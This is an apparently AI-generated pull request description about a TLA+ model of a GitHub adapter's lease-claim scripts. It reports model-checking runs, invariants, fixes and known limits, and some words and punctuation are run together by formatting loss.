.claude/skills/formal-claim-protocol/model/ClaimProtocol.tla, describes the GitHub adapter's lease scripts at a548b3a (after #16475, #16509 and #16515) one GitHub call per step: claim, renew, release and the assignee hand-back, with the 300 s margin, expiry and the completed-run rule. Two checks ship, each two to three minutes through/formal-verification:chart: a local session against the issue lane (LocalLane.cfg, 1,686,588 states) and against a same-login triage claim (LocalTriage.cfg, 1,356,633 states).TypeOK,EndStateReclaimableand no deadlock.NoStrandedAssigneein both,HolderAssignedagainst a same-login claim); fix(work-items): hand back on an outranked release and judge hand-back leases at a clock read before the list #16515 fixed both in the scripts, and no rule was changed.The seeded-break chart and the failure-flag table are in this pull request's evidence comment.
Remaining
None in this pull request. The three documented limits (clock skew, ttl-0, comment-id order) and the no-compare-and-swap windows are listed as known limits in the skill. Not run: the 73 render tests (they need the renderer package), so the legend class fix has not been drawn by a renderer.
🤖 Generated with Claude Code